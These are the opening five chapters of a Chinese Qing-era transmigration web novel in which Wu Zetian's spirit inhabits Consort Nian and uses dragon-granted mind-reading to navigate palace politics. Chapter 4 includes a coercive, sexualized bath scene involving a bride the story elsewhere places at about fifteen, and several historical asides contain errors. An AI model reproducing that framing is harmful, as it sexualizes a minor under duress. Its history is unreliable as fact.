《[清穿]年妃则天》 1. 新的开始 《[清穿]年妃则天》全本免费阅读 “……《论语》曰:唯天为大,唯尧则之……是为则天大圣皇帝……” 随着一阵若有若无的声音,被无尽岁月腐蚀得只剩一抹意识的祂自无垠的黑暗中醒来。 我是谁? 我在哪里? 我…… 突然—— 嘭!嘭!嘭! 心脏的部位传来像被重锤击打般激烈的心跳,带起节奏感十足的脉搏。 体温开始上升,呼吸逐渐稳定,生命的真实感突如其来地笼罩全身。 祂…… 正在活过来! 重新拥有生命,重新拥有身体。 并且,新身体还异常年轻! …… …… 意识进入身体的瞬间,则天女皇武曌感受到强烈不适,仿佛穿了一双不合脚的鞋子。 耳边响起说话声。 “嬷嬷,主子……主子还有呼吸!” 是年轻女子的声音。 “真的吗?我瞧瞧?” 接话的女人声音苍老,想必是前面提到的“嬷嬷”。 紧接着,一根手指擦过鼻翼,轻轻试探后—— “佛祖保佑!主子当真活过来了!” 那嬷嬷欢喜无比地说道。 女皇却—— 嬷嬷?主子? 这是什么称谓? 死后世界? 还是—— 她诧异地想着,越来越清晰的生命气息让她确信此刻所处绝非地府,也不是她的大唐,而是—— 一个完全陌生的地方。 她死后竟然去了一个完全陌生的地方。 意识到这点,女皇果断装睡,收集有用信息。 “……出了这么大的事,我们做奴才的自然不能不去书房禀告,可怜侧福晋本就身子弱,入府当日还……万幸佛祖保佑,总算性命无碍,可也难免传出闲言碎语,被人在背后嚼舌根……主子以后可要怎么做人……” 说到这里,女人们发出嘤嘤哭泣。 “唉,以后的事情以后再说,你们好生伺候着,我去书房向爷禀告这里的事情。” “嬷嬷辛苦了。” “早去早回。” 说话间,老嬷嬷的脚步声渐渐远去。 房内又是一阵细密的走动。 已经确定这些人无法危及自己的武曌缓缓睁开眼睛:“我……我……” 闻言,候在床边的奴婢激动得双眼嚼泪:“主子……您……您可终于醒过来了……” “我……” 她试图抬手,却发现身体虚得厉害。 奴婢见状,忙上前搀她坐起,还往她后背处放了两个软垫:“主子,您这身子……要请大夫过来瞧瞧吗?” 大夫? 那可不行! 她果断摇头,并轻咬嘴唇做出可怜姿态。 奴婢见状,以为侧福晋心里还在委屈,纷纷退到一旁,不敢说话。 一时间,鸦雀无声。 她趁机打量四周。 屋内到处都是红彤彤,灯笼上贴着“喜”字,桌上有一对燃烧大半的龙凤双烛,伺候她的女人们梳着奇怪的发髻穿着似袍非袍的古怪样式的衣裳,站外间的两个男人也穿着类似样式的衣裳,佝腰站立,露出剃了额发的半秃脑袋,看着很是怪异。 这里果然不是大唐。 意外来到这里的自己必须绝对谨慎小心,切不可被他们发现她是借尸还魂。 想到这里,女皇抬眸看了眼依旧彷徨不安的奴婢们,轻声道:“夜深了,服侍我睡下吧。” “奴才遵命。” …… 书房内—— 正和胤祥下棋的胤禛听完嬷嬷的禀告,摆摆手,示意她退下。 胤祥不解,问道:“四哥当真要让侧福晋今夜独守空房?” “十三弟为她不平?” 胤祥闻言,叹了口气:“四哥,莫说是年家的女儿,便是寻常侍妾,入府当日遇上这等事也难免心中憋闷难受。” “那又如何?” 胤禛捏起一颗棋子,冷然道:“年羹尧仗着是皇阿玛一手提拔,即便成了我的属人,依然桀骜不驯,不顾我的颜面与老八、老九他们往来密切,在我面前更是毫无奴才本分。如今皇阿玛将他妹妹指给我做侧福晋,要他从此与我多多亲近,他却连贺礼都是随便指个奴才送来,可见他眼中从来没有我这个主子!” “四哥——” 胤祥苦口劝道:“年羹尧纵有千般不是,今日终究是侧福晋入府的日子,四哥这样做未免……” “未免如何?她可是年羹尧的妹妹!” “那也不能——” 胤祥始终觉得四哥不该冷落新人。 胤禛见状,叹了口气,捏着念珠解释道:“我今夜冷落她并非有意给她难堪,是怕见到她以后忍不住把因年羹尧而生的怒气撒在她身上。反倒是她竟因此等小事晕死过去,可见她和她二哥一样心高气傲,日后须得细细磋磨。” “原来如此……” 听完胤禛的解释,胤祥无奈地看了眼窗外:“八哥那边……此刻多半已经收到消息……明日朝会……” 众所周知,皇上赐给四阿哥胤禛、八阿哥胤禩、九阿哥胤禟三人的京城宅邸是相连的,三位阿哥为了在皇阿玛面前表演兄友弟恭,从不禁止自家府上的奴才和另外两家接触、走动。 如今闹出这么大的动静,与雍王府仅有一墙之隔的多罗贝勒府、固山贝子府必定第一时间知晓。 “明儿事情明儿再说。” 胤禛放下念珠,看了眼一旁伺候茶水的苏培盛。 “嗻。” 苏培盛心领神会。 …… …… 两层床帷垂下,雕花楠木床顿时变得密不透光。 女皇安静平躺着,品读身体原主的记忆。 这里不是她的大唐,而是名叫“大清”的陌生地。 在大清,百姓的户籍被分成八旗籍和非八旗籍两大类,八旗籍又可分为由皇帝直接统辖的上三旗和由亲王、贝勒等掌管的下五旗,每个旗还要再细分出满、蒙、汉三小军旗。 通常而言,八旗籍人中,出身上三旗满军旗最尊,下五旗汉军旗最低。 当然,即便是八旗中地位最低的下五旗汉军旗,在大清,他们的地位也依然高于非旗人出身的普通百姓。 何况,身体原主年世华虽出身下五旗的镶白旗汉军旗,她的父兄们却都凭才学得到大清皇帝的信任和重用,尤其是二哥年羹尧——此人二十一岁科考中举,进入翰林院,三十 2. 读心术? 《[清穿]年妃则天》全本免费阅读 第二日,天色微亮,嬷嬷领着奴婢走进房间:“奴才伺候主子梳洗。” “劳烦嬷嬷了。” 依循身体原主年世华的温婉性情,武曌柔声应下,在嬷嬷和奴婢们的伺候下穿上与大唐衫裙截然不同的满清旗袍,头发也经梳头奴婢的巧手变成和富丽堂皇的大唐高髻完全不同的被称为两把头的横长发型。 被奴婢们伺候梳妆的间隙,武曌注意到嵌在檀木梳妆台上的光滑透亮如水的镜子——据身体原主记忆,此物名为玻璃镜,是西洋传来的珍贵之物。 西洋…… 玻璃镜…… 武曌不动声色。 不多时,梳妆完成,嬷嬷捧上两双绣花鞋,一双是寻常的平底绣花鞋,一双绣花鞋底镶嵌着足有三寸高的上敞下敛的包布木跟,神色严肃:“依规矩,侧福晋当穿花盆底鞋,爷怜惜侧福晋羸弱,特许侧福晋养病时穿平底鞋。” 说完,嬷嬷跪下,伺候她穿平底绣花鞋。 被伺候的武曌却只觉后背微凉:入府当日故意冷落年世华令其独守空房,第二日又特许她可以在府内穿舒适的平底鞋以示恩宠,分明是驯马的手法,先抽一鞭子,再给一口精料。 可惜她不是少女年世华,不会被这种手段轻易拢住。 她想要的是—— [原以为出了昨天那等事,侧福晋以后在府里必定寸步难行,如今看来爷对侧福晋倒是真心看重。] 陌生的声音突然在耳边响起,武曌惊愕,身体微微一晃。 “主子——” 两旁的奴婢赶紧上前,扶住她的身体。 伺候穿鞋的嬷嬷也紧张抬头:“侧福晋莫非身体不适?” “没……没事……” [怎么可能没事,瞧瞧小脸都煞白成了啥样子!] 先前的声音再次在耳畔响起。 武曌觉察问题,遂在奴婢搀扶下缓缓坐下,露出强忍痛楚的可怜神色。 嬷嬷见状,佝腰道:“可要老奴派人去请大夫来给侧福晋瞧瞧?” “辛苦嬷嬷了……” 武曌和蔼可亲地说道。 嬷嬷被侧福晋的温婉模样打动,疼惜地退出房间,打发院里小太监去请大夫,自己则前往四福晋处禀告这边情形。 …… 雍亲王嫡福晋乌拉那拉氏性情温和慈爱,节俭端庄,深受王府上下爱戴,颇得雍亲王敬重。 可惜天意弄人,嫡福晋所生嫡长子弘晖在康熙四十三年不幸夭折,乌拉那拉氏也从此心灰意冷,每日虔诚礼佛,祈祷弘晖早生极乐。 嬷嬷入内时,她正在抄写佛经:“什么事?” “禀主子,是侧福晋那边有些事情。” “细细说来。” 四福晋放下抄佛经的毛笔,听嬷嬷禀告情况。 得知年氏生病,四福晋叹了一声,道:“依规矩,她今日需向我行礼问安,明日随我入宫拜见德妃额涅(满语,母亲),如今……就免了她今日的请安吧。” “主子仁慈。” “我只是想到弘晖若还活着,和她也是一般年纪。” (注:弘晖生于康熙三十六年。) 提及弘晖,四福晋又是一番伤感,念了几句阿弥陀佛后吩咐管事嬷嬷:“如今春暖乍寒,最是容易着凉得病,三阿哥和二格格那边不可有丝毫闪失,格格钮钴禄氏和耿佳氏……她们怀着爷的骨肉,吩咐下人们务必小心照看。” “嗻。” 管事嬷嬷领命,行礼退下。 事情安排妥当,四福晋继续低头抄写佛经。 …… …… 等待大夫登门的时间,武曌借口不适,靠在贵妃榻上,心中暗道:方才怎么回事?为什么耳边会出现—— 【那声音是心声,伺候你穿鞋的嬷嬷的心中所想传入了你的耳中。】 小凤龙从贵妃榻的阴影处冒出脑袋,扑棱着翅膀跳上扶手,大喇喇走来走去。 【宝宝刚破壳没多久,翅膀和爪子还是软的,暂时只能让你用‘想’和宝宝说话,以及——你周身一丈范围内的人一旦生出和你有关的强烈想法就会变成声音传入你的耳中……】 [当真?] 【不许不相信!宝宝我呀~超级~厉害~】 说到兴起,小凤龙竟竖起身体用后肢站立,前肢展开如人类展臂,尖细的脑袋高高翘起,露出长满闪光鳞片的下巴——这家伙即便只是个巴掌大的幼体,也已经有了身为神兽的自觉与骄傲。 【等宝宝再长大些,你也可以得到更多的力量~到时不仅在你身边的人生出任何和你有关的强烈想法都会变成声音传到你耳中,整个王府里,谁的心里有了强烈的想法,那些想法就会立刻变成只有你能听到的声音传进你的耳朵~宝宝可是很厉害的~】 [读心术吗?] 女皇逐渐明白凤龙赋予的力量。 【对!就是读心术!宝宝能让你拥有读心术~宝宝越长大,你的读心术的覆盖范围和读取内容就越大~】 凤龙眉飞色舞。 武曌却皱紧眉头。 她前世曾达到权力的巅峰,深知人一旦位高权重,身边必定围满各色人物,并且这些人大多对她有所求,或是试图谄媚她换取金钱权势,或是想得到她的提拔施展平生抱负,更有甚者表面对她卑躬屈膝内心恨她入骨—— 倘若凤龙承诺为真,她将来岂不是会耳边充斥着四面八方传来的心声? [你的读心术只能被动倾听他人的心声?] 【被动?什么叫被动?】 小凤龙呆滞,瞪大清澈的眼睛一动不动地看着女皇。 武曌见状,正欲解释“被动”的意思以及被动倾听心声的危害,小凤龙却突然大笑。 【宝宝明白啦!宝宝现在还是宝宝,能力比较弱,让你误会宝宝的读心术是一种被动的能力!其实只要宝宝稍稍长大些,宝宝的读心术就不再是被动倾听啦!宝宝是神兽~宝宝超厉害~】 [但愿你对我说的都是真话。] 武曌冷静回答。 这时,嬷嬷也回到房间,行礼后禀告道:“恭喜主子,奴才刚从福晋主子那边回来,福晋主子说了,依府里规矩,侧福晋入门第二日应该去福晋跟前请安,但是您身体不适,昨日还一度晕死过去,特意免了您的请安 3. 历史直播天幕 《[清穿]年妃则天》全本免费阅读 前往福晋院子路上,通过和张嬷嬷闲聊以及阅读此人心声,女皇很快就理清了满清王府后院妻妾的地位等级以及雍王府的后院格局。 首先是后院妻妾的地位等级划分。 原来,满人的婚配原本是一夫多妻,如今虽遵从汉人的一夫一妻多妾,侧福晋的身份却不能直接等同于王爷的妾室——侧福晋入府时要在宗人府留下记录,地位处于嫡妻和妾室之间。 其次,因为“格格”在满人的语言中有“小姐、姑娘”的意思,所以,不仅宗室女性得到正式册封前会被称为“格格”,宗室亲王后院的低阶妾室同样可以称为“格格”。 然后是和硕雍亲王的妻妾情况。 张嬷嬷带她前往拜见的嫡福晋乌拉那拉氏,出生上三旗的正黄旗满军旗,是雍亲王的原配发妻,但她本人不得雍亲王喜爱,夫妻间感情非常“端庄”,于康熙三十六年生下嫡长子弘晖,此后再无生育,弘晖也在康熙四十三年不幸夭折。 乌拉那拉氏从此心情郁结,成日虔诚礼佛 侧福晋李氏,出身汉军旗,康熙三十四年便为雍亲王生下次女,之后又陆续生下三个儿子,晋位为侧福晋,可惜她虽育有三子一女,顺利长大的却只有一子一女,且三阿哥弘时自小蠢笨顽劣,不得雍亲王喜爱,李佳氏受其连累,逐渐失宠。 格格宋氏,内务府包衣出身,康熙三十三年为雍亲王生下长女,康熙四十五年又生一女,可怜她的两个女儿都没能活过满月,自己也因年华老去被雍亲王遗忘。 格格钮钴禄氏,出身镶白旗满军旗,康熙四十三年入府为格格,如今已怀胎五月有余,进出都需奴婢搀扶伺候。 格格耿氏,康熙二十八年生人,汉军旗,前些日子刚刚有孕,身形还不明显,估摸着今年结束前能为雍亲王再添一个子嗣。 格格常氏,康熙四十五年由皇太后懿旨赐下,素来不受宠。 总之,虚岁三十四岁的雍亲王虽有嫡福晋一人,侧福晋两人,格格四人,膝下却只有一儿一女,另有两位格格怀孕待产。 “爷的子嗣如此单薄,我们做奴才的都担心得紧。” 张嬷嬷摇头晃脑地说道。 武曌连连点头附和,心中亦不断盘算:雍亲王府的后院格局对她而言极其有利,嫡长子夭折,生下一儿一女的李氏早已失宠,有孕待产的钮祜禄氏和耿氏素来不得宠。由此可见,只要能得到雍亲王的宠爱为他生下健康的子嗣,她就可以母凭子贵在雍亲王府得到更高的地位。 但这些还远远不够。 她前世是天下最尊贵的人,这一世也同样想得到天下最尊最贵的那个位置! …… …… 【……虽然很多人因为年羹尧生前种种目无尊上的行为误以为敦肃皇贵妃年氏和他一样是个飞扬跋扈、强势傲慢的宠妃,但历史上真正的年贵妃其实是个非常温婉贤淑的女子。 出身官宦世家的她自幼读书明理,多才多艺,父兄三人均得康熙皇帝器重,二哥年羹尧更是康熙朝最年轻的封疆大吏同时也是康熙晚年最耀眼的政治新星。 家世如此优秀,自身也才貌双全,年氏似乎理所应当能拥有幸福的婚姻。然而,随着康熙晚年的夺嫡战争加剧、二哥年羹尧的政治地位擢升,作为年家当时唯一的适婚未嫁女儿的年氏也不可避免地卷入了政治旋涡。 为了拆解年羹尧和八皇子胤禩的关系,康熙皇帝先是在康熙四十八年将年家所在的镶白旗归拨到四皇子胤禛手中,又在康熙五十年将当时至多十五岁的年氏安排嫁给已经三十四岁的雍亲王成为侧福晋。 老夫少妻的生活或许曾经有过甜蜜,但考虑到雍正是个把政治和感情分得很清楚的人,而年氏的二哥年羹尧又在康熙晚年的夺嫡战争中始终态度暧昧左右逢源,对当时还只是雍亲王的雍正多有怠慢,年氏在雍正身边必然活得战战兢兢如履薄冰,每次收到家书都要先给雍正过目。 偏偏年氏又身体孱弱,专宠十年四次怀孕,生下的四个儿女有三个夭折,身心俱疲,不久又遭遇雍正皇帝和年羹尧多年积累的矛盾总爆发……】 “主子,侧福晋来了,正在外面候着。” 闻言,假装认真抄写佛经的四福晋先是一愣,随即搁下毛笔,对通传的奴婢道:“还不赶紧请侧福晋进来!” “奴才遵命。” 奴婢躬身退下。 “你们几个也是,赶紧下去沏茶端点心。” “嗻。” 伺候四福晋身旁的三个奴婢应声退下。 四福晋抬头,扶了扶发鬓,看了眼只有她能看到的正讲解敦肃皇贵妃年氏悲催人生的天幕,怅然道:“她也是个可怜人儿。” 说完,四福晋走出抄经的小佛堂,走到年世华面前:“妹妹——” “年氏给福晋请安。” 面对四福晋的温柔善意,深知皇家无情后院险恶的武曌不敢冒犯接受,莞尔一笑随即依照嬷嬷教导向四福晋行礼问安。 ——成大事者从来能屈能伸,何况年世华此刻正处于劣势低位,更要表现得恭顺柔软,以此博取他人好感。 四福晋这边—— 她本就对年纪可以当自己女儿的年世华颇有几分喜欢,方才又通过天幕获悉年氏的悲惨未来,对眼前这位注定红颜薄命的妙龄美人更多了几分怜惜,不等年世华行礼完毕立刻将她搀扶起来:“妹妹不必多礼。” “福晋——” “你我都是王爷的人,不妨姐妹相称。” 说到这里,四福晋不好意思地补充道:“若在寻常人家中,我的年纪便是做你母亲都绰绰有余,让你喊我一声姐姐,倒是我占着你的便宜。” “福晋——” “嗯?” “姐姐。” 武曌从善如流,软软地喊了一声姐姐。 四福晋露出欢喜笑容,牵着年世华的手左右打量,越看越喜欢,也越看越觉得心疼。 [生得这般好模样却不能有个好结果,真是可怜……可惜……] 嗯? 四福晋在可怜我? 听到四福晋的心声,武曌眸色微动。 自成为年世华后便时时敏锐处处警惕的她注意 4. 不是善茬 《[清穿]年妃则天》全本免费阅读 一家人? 送些雪花洋糖过来润口? 武曌轻笑。 她虽然至今没有和年世华的夫君雍亲王胤禛、住在雍亲王府隔壁的八皇子胤禩见面,但仅凭前世经验以及这一天一夜的王府遭遇,已经确信大清康熙皇帝的儿子们的关系并没有外人以为得那么兄友弟恭。 由此可以推断,八皇子派人送雪花洋糖,明面上是表达亲密,实际却暗示他对雍亲王府的动静了如指掌,若往深处想,这一盒雪花洋糖甚至藏着离间雍亲王和年羹尧关系的意图。 他怕年羹尧因为这场联姻倒向雍亲王? 想到此处,武曌端起碗,将苦汤一饮而尽。 双溪见主子喝完药汤后秀眉紧皱,麻利地打开朱漆小盒,指着晶莹洁白的雪花洋糖道:“主子,吃口雪花洋糖润——” “不必。” 武曌淡淡道:“这雪花洋糖是外面送来的,不是府里的东西,要问过爷以后才能处置。” “可是药汤苦涩——” “下去。” 武曌抬高声音。 依着前世的脾性,双溪如此不知死活自作主张,早被她让人拖下去乱棍打死,哪容贱婢继续放肆! 怎奈身体原主年世华是人尽皆知的温婉柔顺性情,大清又有规定,纵是后妃亦不能随意打骂宫人,暂时处于弱势被动地位的她不得不忍下怒气,只是命令双溪退下。 好在双溪这奴婢虽有些愚蠢,倒也不是顽石。 见主子不悦,她连忙告罪退出房间。 武曌让双儿也退下。 “嗻。” 双儿转身,端着苦药喝得一滴不剩的药碗离开,出门时因为关门的动作回身看了眼桌上装雪花洋糖的朱漆小盒,眼神一阵闪烁。 [双溪真不懂事,还好主子仁慈,不和她计较。] …… …… 晚上,雍亲王胤禛回到王府,立刻有人上前报告八爷白天差人给侧福晋送雪花洋糖的事情。 “不愧是八贤王。” 胤禛笑容微妙,反问禀告之人:“年氏那边是什么态度?” “侧福晋的奴婢收下了八爷的雪花洋糖。” “收下……她竟然敢收下……” 胤禛眯眼,眸色冷冽。 苏培盛见状,心中暗道不妙,软声安抚道:“主子息怒,侧福晋刚入府,还不熟悉府里的规矩,年家又和八爷、九爷有多年交情,难免一时糊涂……” “她既做了本王的侧福晋,就不再是年家的女儿,必须遵守府里的规矩。” 话音落,胤禛径直走向侧福晋年世华的住处。 苏培盛等人快步跟上。 …… “奴才给爷请安。” 伺候的奴才们远远瞧见雍亲王大驾,连忙下跪行礼。 胤禛穿过跪了一地的奴婢杂役,推门进入房间,欲兴师问罪,却见年世华不在屋内,案上摆着朱漆小盒,盒盖打开,露出晶莹剔透的雪花洋糖。 “这是……” 胤禛眸色暗下,看向身后跪着的奴婢:“你们主子呢?” “回爷的话,主子正在内室沐浴熏香。” 双儿战战兢兢地回答。 “沐浴熏香?为什么?” 胤禛沉着脸。 “主子说她明日要随福晋主子进宫觐见德妃娘娘,需熏香沐浴以示虔诚孝顺。” “……差点忘记了这件事。” 胤禛闻言,神色略缓,目光再次落在雪花洋糖和朱漆小盒上:“这些是……” “回爷的话,桌上的雪花洋糖是八爷派人送过来的,说是心疼侧福晋喝苦药,送些雪花洋糖给主子润润口。” “老八为人温和宽厚,有仁义之风。” 胤禛假笑着说道。 奴婢双溪闻言,以为四爷欣赏八爷、和八爷兄友弟恭,自作聪明地附和说道:“奴婢也觉得八爷是一片好意,主子却不肯吃八爷送的雪花洋糖,非说雪花洋糖是外面的东西,不能随意吃用,得先问过爷的意思。” “……她当真这么说?” “千真万确。” 双溪脱口而出。 胤禛看了眼紧跟身后的苏培盛。 苏培盛会意,暗示双儿和双溪随自己出去,不要打扰主子们的事情。 双溪大喜,以为自己立了功勋,拉着双儿笑呵呵地跟随苏培盛走出房间,贴心地带上房门。 …… 奴才们尽数离开后,胤禛又看了眼桌上的雪花洋糖,脸色阴晴不定。 但他最终压下了心中阴暗,背着手缓步走进内室,站在持续发出水声的汉装仕女绣花屏风前,看着被灯火映在屏风上的婀娜身形,闻着浸润水汽后越发清爽脱俗的淡雅熏香,想到昨夜惊鸿一瞥的美丽面容,心中竟不由自主地烦乱起来。 年世华…… 年羹尧的妹妹…… 她当真和她哥哥年羹尧不是一类人吗? 她…… 她…… 意识到心意缭乱,胤禛本能地拨动十八子念珠,默念佛经平复心情。 然而,火焰已经点燃,刻意的压制只会变成火上浇油,引发更激烈的燃烧。 珰—— 串珠的金丝线突然折断,翡翠念珠滚落满地。 屏风后沐浴的女人跟着发出声音:“……是……是爷在外面吗?” 声音如黄莺般清脆悦耳,惊恐中带着期待和谄媚。 闻言,本就熊熊燃烧的火焰顿时一发不可收拾。 “猜得没错,确实是我。” 胤禛绕进屏风,眯眼注视着因惊恐和害羞把身体藏在水中只露出湿漉漉脑袋的绝色佳人:“起来。” “可是——” 女人下意识地双手抱住肩膀,牙齿缝里挤出颤抖的音符:“奴……奴……” “这是爷的命令!” 胤禛加重语调。 他并非好色之人,但眼前女子不仅美丽动人,更有一份楚楚可怜的气质,疯狂撩拨他的心弦。 何况,她是年羹尧的妹妹。 想到年羹尧仗着皇阿玛的宠爱对自己屡有怠慢,胤禛不由板下脸,威胁道:“或者你要爷亲自动手!” “不……奴……奴才……” 女人害怕极了,低下头,委屈地从水中站起,水珠拖着晶莹划过初现婀娜的青涩身体,灯火下,如出水芙蕖,美得耀眼夺目。 “……年羹尧那么跋扈 5. 初次入宫 《[清穿]年妃则天》全本免费阅读 三月的北京城,春天才刚刚萌芽。 逐渐接受雍王府侧福晋身份的武曌清早换上旗装,随嫡福晋乌拉那拉氏坐马车从雍王府出发,穿过还未完全醒来的东城,抵达紫禁城,验明身份后随奉命迎接两位福晋的嬷嬷前往雍亲王生身母亲、永和宫主位德妃娘娘处。 迎接两人的嬷嬷在宫中当差多年,非常知轻重,在嫡福晋乌拉那拉氏面前态度无比恭顺,对初次进宫的年世华也极其礼貌。 嫡福晋乌拉那拉氏这边—— 她本就疼惜年氏未来坎坷,见年氏举止颇有几分拘谨,遂借着和嬷嬷闲聊的由头,向年世华介绍后宫的大概情况。 武曌知道嫡福晋有意提点自己,于是紧跟嫡福晋脚步,附和的同时不动声色地读嫡福晋和嬷嬷的心声,获取大清后宫的更多信息。 首先是清宫女子的来源。 满人原是游牧民族,取得中原政权后,为防混淆血统,后宫女子——包括侍奉后妃的宫女——全数来自八旗秀女和内务府秀女。 初开始的时候,秀女挑选的随意性很强,并无定例,但在康熙皇帝登基执政二十多年后,八旗秀女三年一选、内务府秀女一年一选的“定例”逐渐成型,同一年入选的秀女称为同期,彼此间往往相互照应。 例如她即将见到的德妃便和八阿哥胤禩的母亲良妃、十三阿哥胤裪的母亲定嫔同是康熙十四年十二月入选的内务府秀女,入宫三十多年,三人关系始终亲密无间。 其次是清宫的一条不成文的规矩: 皇帝会将母亲位份较低的孩子交给位份高但生育单薄的后妃抚养。 四阿哥胤禛、八阿哥胤禩等多位阿哥均曾被康熙二十八年崩逝的孝懿皇后鞠育,并且——直到康熙三十一年也就是孝懿皇后去世三年后,四阿哥胤禛和八阿哥胤禩依然住在景仁宫,景仁宫的嬷嬷们甚至至今仍称四阿哥胤禛为大阿哥、八阿哥胤禩为小阿哥。 而曾经侍奉过世宗顺治皇帝的仁宪皇太后博尔济吉特氏则因为与世宗皇帝无所出,成为皇太后以后将宜妃锅络罗氏所生之五阿哥胤祺收到膝下,亲自抚养。 所以,四阿哥胤禛与十四阿哥胤禵虽同是德妃所生,却因为两兄弟年龄相差十岁以及并非都由德妃抚养长大而关系略有疏远,五阿哥胤祺则因为从小陪在仁宪皇太后身边,一度只会说蒙语不懂汉语,闹出了不少的笑话。 此外,如今与四阿哥胤禛关系亲密的十三阿哥胤祥,原本与二阿哥也就是皇太子胤礽关系最是亲密。 虽然胤祥的年纪比胤礽小足足十二岁,生母章佳氏生前只是嫔、死后才被追封为敏妃,但他却从小得到仅次于皇太子胤礽的皇帝偏爱。 直到康熙四十七年胤礽第一次被废前,康熙几乎每次东巡、南巡、木兰秋围都将胤祥带在身边,且通常只带太子胤礽和胤祥两个儿子出行。康熙还多次让不到二十岁的胤祥独自主持祭祀盛京、泰山等重大典礼,是公认的皇帝所钟爱者,前途无量。 但也因为胤祥和胤礽关系过分亲密,康熙四十七年胤礽被废后,胤祥的待遇同样受到大幅剥夺,即便康熙四十八年胤礽重新被立为太子,胤祥的待遇也没有完全恢复,甚至—— 康熙四十八年,复立太子的康熙皇帝大封诸皇子,除了犯下谋逆巫蛊大罪的皇长子胤褆,连最年幼的十四阿哥胤禵都得了贝子爵位,唯独曾经风光无限的胤祥还是个平头阿哥,经济窘迫尴尬,甚至没有独立的王府。 听到这里,武曌意识到年近六旬的康熙皇帝是个将前朝后宫都牢牢握在手中的狠角色。 “……虽然阿哥们在前朝难免因为国事发生争执,但后宫的娘娘们却始终如姐妹般相亲相爱,有时甚至会相约一起离开皇城去郊外骑马打猎呢~” 嬷嬷不无骄傲地说道。 她知道阿哥们在前朝闹得厉害,但男人们的前朝争斗和不能干政的后宫女人们又有什么关系? 嫡福晋乌拉那拉氏深以为然地点了点头,对年世华道:“姐姐上了年纪,很难再为王爷生儿育女,但妹妹你正值韶华,可是千万不要懈怠。” “妹妹谢姐姐教诲。” 武曌垂眸答应。 说话间,一行人抵达永和宫。 …… 永和宫主位德妃乌雅玛琭生于顺治十八年,康熙十四年进宫,康熙二十年便晋封为妃,居永和宫。 入宫三十多年,德妃共为康熙皇帝生下三子三女,与荣妃并列康熙皇帝后宫中生育儿女最多的主位。 并且,不同于所生五子一女只有一儿一女存活的荣妃马佳氏,德妃所生的六个孩子中有两子一女活到成年,失去的三个孩子中也只有皇七女是出生两个月就不幸夭折,可谓不幸中的大幸。 或许是因为以上种种,年过五旬的德妃虽已不再侍寝,却依然被皇帝挂在心上,时常来永和宫和她过夜,有时也会带她去园子赏玩风景,她所生的女儿成年后受封固伦公主,两个儿子更是早早被委以重任。 皇帝的优待恩宠让德妃越发地心态平和,寻常日子不是虔诚礼佛,就是与同期入宫的良妃、定嫔等人闲话家常——今日在永和宫中等待长子雍亲王的嫡福晋和新入府的侧福晋年世华入宫觐见时,她也不忘派人给因为生下十三阿哥而被宫人尊称为“定嫔”但实际没有得到妃嫔册封因此不能享受“嫔”待遇的定嫔送些吃用物品。 …… “媳妇乌拉那拉氏、年氏见过德妃额涅。” “起来!起来!都起来!” 话音落,武曌抬头,看了眼端坐上方的德妃——她已年过五旬,纵然精心保养,脸上也难免浮现皱纹,必须仔细辨认才能从舒展的五官间找到年轻时的些许痕迹。 [岁月果然不饶人。] 武曌暗暗叹息。 同一时间,德妃也在观察着年世华。 不论是隐隐散发成熟风韵的美丽面容还是青涩不失婀娜的身段亦或是进退有度落落大方的举止,都让身为婆婆的德妃感到异常满意,当场便脱下金丝红玛瑙手串赏了年世华。 “谢额涅赏赐。” “你也是本宫的儿媳,本宫赏赐你是应该的。” 德妃慈眉善目地对待年世华。 一番寒暄询问过后,德妃的目光又再次回到嫡福晋乌拉那拉氏身上。 乌拉那拉氏于是献上新抄好的佛经,随后禀告道:“额涅放心,格格钮钴禄氏、耿佳氏如今一切安好,很快就会为爷再添两个活蹦乱跳的小阿哥。” “胤禛子嗣单薄,过了而立之年,膝下还是只有一儿一女,若是这次能一举添得两名小阿哥,当真是佛祖保佑的大喜事。” 德妃双手合十连连祈祷。 乌拉那拉氏等人跟着做出祝福祈祷的姿态。 要知道,康熙皇帝在雍亲王这个年纪的时候膝下光是健康存活的皇子就有足足十三人,更不必说其他。雍亲王已经成年娶妻的那些兄弟们——除却有惧内之名的八阿哥——也无不拥有多位妻妾和众多儿女。 德妃身为胤禛母亲,看到大儿子年过三旬依然子嗣单薄,难免心急如焚。 如今府中格格钮祜禄氏、耿佳氏双双有孕,年轻美貌的年世华入府为侧福晋,德妃心中再次燃起希望:“年氏你生得花容月貌又正是青春年少,想必很快就能为四阿哥生下小阿哥和小格格。” “奴才一定竭心尽力。” 武曌低眉顺眼。 之前阅读嬷嬷心声,她已获悉德妃虽然是雍亲王胤禛的生身母亲,但胤禛自幼交孝懿皇后抚养,十八岁时依然住在景仁宫而非永和宫,德妃因此对四阿哥胤禛的感情始终不如待十四阿哥胤禵那般亲密无间。 由此可见,倘若胤禛、胤禵兄弟发生冲突,身为两人母亲的德妃未必会站在胤禛这边。 自然,德妃此刻关于胤禛的言语都不能完全当真。 德妃这边—— 她见年氏生得美貌,举止端庄有度,对自己也千依百顺,想到年家父兄三人在朝堂的分量,心中不禁泛过淡淡惆怅:这般容色与家世,嫁给胤禵才是……真正的般配…… [果然如此……] 武曌听到德妃心声,眸色微沉。 德妃不知心思已经暴露,心中依然在惋惜皇帝将年世华指婚给胤禛而非胤禵的决定,脸上则满是慈爱笑容,询问雍王府的大小事情。 得知不仅雍王府中一切安好、与雍王府毗邻而居的八贝勒府上也风调雨顺,德妃明显松了一口气,对两人道:“你们难得来宫中,不要着急离开,留下陪我用膳,下午再把永和宫小厨房做的糕饼点心替我送去良妃妹妹那边,顺便将八贝勒府上的消息告诉她,让她放宽心,别再愁眉苦脸。” “媳妇谨遵额涅教诲。” 乌拉那拉氏立刻满口答应,并眼神示意一旁的年世华不要出声。 …… 陪德妃用膳完毕,两位福晋由永和宫嬷嬷带路,一同前往良妃处,身后除了跟随入宫的雍王府奴婢,另有三名永和宫人捧着装满永和宫小厨房为良妃准备的糕饼的红木食盒。 路上,嫡福晋乌拉那拉氏向年世华解释方才为何暗示她噤声。 原来,良妃卫氏虽与德妃同月入宫,却直到康熙二十年才有幸生下八阿哥胤禩,同一时间,德妃已两次生育皇嗣并晋封为妃,居永和宫主位。 此后多年,德妃稳居妃位,卫氏则一直默默无闻,直到康熙二十八年才晋封为嫔,领得内务府分派的内管领。 康熙三十九年,由于八阿哥胤禩在两年前受封多罗贝勒,皇帝于是正式下诏将卫氏册封为良嫔,之后,康熙四十七年,因为胤禩复封多罗贝勒,卫氏终于母凭子贵晋为妃位,后宫晋升之路可谓无比坎坷。 